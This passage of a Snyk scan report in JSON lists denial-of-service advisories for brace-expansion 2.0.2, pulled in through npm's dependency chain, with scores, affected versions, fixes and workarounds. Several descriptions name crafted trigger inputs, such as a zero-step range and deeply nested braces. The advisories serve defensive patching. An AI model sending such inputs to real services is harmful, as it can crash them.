"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
